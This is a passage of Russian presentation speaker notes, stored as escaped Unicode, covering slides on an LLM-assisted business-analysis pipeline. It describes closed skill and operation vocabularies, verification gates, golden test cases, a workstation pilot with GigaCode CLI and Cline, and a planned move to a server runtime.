\u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f 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\u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c 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\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 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\u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b 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RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 